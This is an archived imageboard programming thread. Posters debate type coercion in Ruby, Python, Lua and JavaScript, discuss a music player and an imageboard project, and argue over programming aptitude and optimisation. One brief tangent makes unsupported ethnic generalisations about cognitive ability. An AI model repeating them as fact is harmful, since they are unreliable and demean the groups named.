NoMethodError: undefined method `-' for "2":String
Did you mean? -@
from (irb):2
from /usr/bin/irb:11:in `<main>'


Python 3:
>>> "2" + 1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: Can't convert 'int' object to str implicitly
>>> "2" - 1
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
TypeError: unsupported operand type(s) for -: 'str' and 'int'


>>55250447

It's less so much that it's caused me problems, so much as I don't like languages in general that try to produce a result no matter what. In Javascript, you can get a valid result for adding undefined and true. The answer? NaN. Why yes, the result should not be a number, but don't you think you could instead just maybe crash the fucking interpreter instead? Or throw some sort of exception? I can tolerate C's weirdness because you can sort of just say "okay, all pointers are integers" and leave it at that, but if a language is going to be higher level than C, it should at least try to have a respectable type system.
>>
>>55250743
[spoiler]I actually don't use linked lists either [/whyistherenospoilertag]
>>
>>55250407
>Lua
> "2" + 1
stdin:1: unexpected symbol near '"2"'
>

>>
>>55250311
I did a game in Love2D and it taught me why I hate dynamic typing.

It felt liberating to start with but when you run your code and accidentally reference a nil value that would have been caught at compile time instead.

It just costs too much time to do that. I don't have any other major complaints. It's a fairly simple integration in most codebases.
>>
>>55250758
>Run lua
>Type in manually
>It works

>
lua <<< '"2" + 1'

>lua: stdin:1: unexpected symbol near '"2"'

Weird
>>
>>55250864
Actually, I figured it out.
Since lua isn't taking its input from an interactive device (a terminal), it handles things differently, and "2" + 1 isn't a statement, so it doesn't parse.
lua <<< 'print("2" + 1)'
works
>>
If I wanted to make a minimalistic, yet customizable music player (I'm hoping for a fb2k-lite sort of thing) for Linux - which language would have an advantage?

Also, is this project going to be a lot harder than I'm imagining?
>>
>>55250311
arrays start with 1 index
>>
>>55250758
> print("2" + 1)
>3
>>
>>55250980
well you use whatever language of the GUI library you are using
>>
>>55250980
C/C++ and imgui as your library
>>
>>55250311
It's one of my favourite scripting languages along with Scheme.
>>
>>55242627
en ole valmis juhannukseen vittu
>>
>>55249098
Shilling my shitty imageboard: https://github.com/bakape/meguca
>>
I had a strange problem while working in C recently.
OS refused to recognize Interruption Handlers until after a first reboot. Anyone ever experienced anything like that?
>>
I just read some articles about how a LOT of people can't be TAUGHT programming:

https://blog.codinghorror.com/separating-programming-sheep-from-non-programming-goats/

>The test was administered twice; once at the beginning, before any instruction at all, and again after three weeks of class. The striking thing is that there was virtually no movement at all between the groups from the first to second test. Either you had a consistent model in your mind immediately upon first exposure to assignment, the first hurdle in programming – or else you never developed one!

I am not one to believe we are special snowflakes. But does anyone have any input one way or the other?

I guess this affects the "We are going to have way too many programmers soon" issue.
>>
>>55251282
At least he did an open palm slap.
>>55251295
>just finding out about articles from 2006
Yes anon this isn't anything new.

What makes 'programmers' less exclusive now is that 'programming' is different. There's plenty of library glue-work and those 'programmers' don't need the same mental faculties as actual programmers.
>>
>>55251295
Some people can't draw for shit even after years of exercise. Others will never write an emotional story.
Everyone's a special snowflake, it's about how we were brought up and in a smaller extent about genetics.
>>
>>55251328
>it's about how we were brought up and in a smaller extent about genetics.
How do you know?
Have you distinguished the two?
>>
>>55251349
Nah I'm spouting nonsense based off my leyman understanding of the matter.
>>
>>55251321
>What makes 'programmers' less exclusive now is that 'programming' is different. There's plenty of library glue-work and those 'programmers' don't need the same mental faculties as actual programmers.
This. God I hate modern webdevs.
>>
>>55251356
Ok. Because everyone in my family has a good grasp of programming and we were raised quite differently due to outside circumstances. So assuming we didn't just happen to coincide I'd assume it's the opposite. Though I don't know either obviously. 5 isn't a large sample size.
>>
>>55251364
It's less about webdev vs other stuff and more about how much own code you're writing. And how complicated the systems you're writing are.

I'm confident you can do plenty of complicated stuff in webdev. I just haven't seen any examples.
>>
>>55251368
I'd love if there was some actual study about the genetic behind different kinds of cognitive abilities, but it feels like in this climate it'd just be accused of racism and shut down.
>>
>>55251388
You just need to put the right spin on it. Or just present positive things.
Like, instead of saying X is better than Y at Z you say
X is great at Z and Y is great at W
Maybe mention negatives for everyone too. But you're gonna have to have more of a political insight and adapt the presentation to the current climate a lot more.
>>
>>55251380
That is why I said "modern". I am sure there are still people building complicated systems, but most of today's web developers will simply glue meme of the month foo to meme of the month bar.
>>
>>55250752

The problem is "loose" typing, but the loose vs strong argument has somehow confused a lot of people in the dynamic vs static stakes.

It's like how PHP is getting all excited about how they might allow optional type hints for "static" typing, but it's still loose as fuck and doesn't solve the problem.
>>
>>55251388
>>55251423
Oh and there has been by the way. Remember something about Asians being especially good at math and African women great at estimating volume (this last one was big IIRC).
>>
>>55251435
>Eh, I've seen mixed opinions on Lua here. I personally dislike it because it's rather weakly typed.
>>
>>55251192
>Go
>Typescript
>Proper API

Shit, you may actually have a chance of writing a version that can overthrow the hundred shit-show forks we have now.
>>
>>55250745
Well that would've been helpful to know hours ago, but even then if I could open them would a scanner be enough to go through their contents line per line?
>>
At what point does extracting every last ounce of efficiency becomes autism?
>>
>>55251514
That is what I'm going for. Something modern, thoughtfully designed, unit tested, written in statically typed languages and fast even on a shitty VPS/rPi or ancient Android phones.
>>
>>55251590
When you've switched to dataoriented design, done a good job system, everything relevant is in SIMD and you've done your best to minimize cache misses.

When you've done that and started to rewrite profiled irrelevant functions or rewrite stuff without profiling. That's when it's autism.

But everything is practice. So there's no harm in doing it as an exercise.

Though maybe keep the old stuff around.
>>
>>55251590
the very moment you started down that path it was autism
the correct method is to not give a shit at all until something slows down to unbearable levels
>>
>>55251192
Why does it need ffmpeg?
>>
>>55251590
>>55251630
for example
the concept of data oriented design is already autism

that's the process by which you start to optimize before you write a single line of code
>>
>>55251680
>that's the process by which you start to optimize before you write a single line of code
Well. If writing software that's intended to run on computers is premature optimization then maybe you don't care about performance?
That's fine.
But think about that every time you're waiting for a program to start. Every time you see a splashscreen.
>>
>>55251590
When you verify your algorithm by using verification tools
Then make the implementation
>>
>>55251649
Support for WebM, MP3, MP4 and OGG uploads. Those are currently mostly stubs. Need to finish the more essential systems first. Those will use the C binding libraries the other dev is writing (https://github.com/Soreil/imager).
>>
>>55251742
Please have it strip audio from webm's if that's not allowed on the board. Warn the user if they have an audio webm that isn't allowed but let them upload.
>>
>>55251364
>>55251380
Web is just an interface, a place to output the result of your algorithm and routines. It could be a face recognition algorithm receiving/sending REST messages or even outputting the results as html. Of course that could just be a compiled library that the web interface instantiates, but this is also the case for a desktop software or a background service as well. Am I "more programmar than u" because I code for an Arm Cortex M0 with arduino libraries ?
>>
>>55251755
I don't think audio webm need to be forbidden at all. Just indicate on the thumbnail with an overlay, that the webm has sound.
>>
>>55251776
>web is just an interface
>a place to output the result of your algorithms
.t non-programmer
Your implementation is very relevant.
>>
>>55251793
Maybe with a spectrograph overlay. But that takes some generating. Make it low resolution?
Give the user the peak amplitude?
>>
JSON or protobuf?
Thread replies: 255
Thread images: 23

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.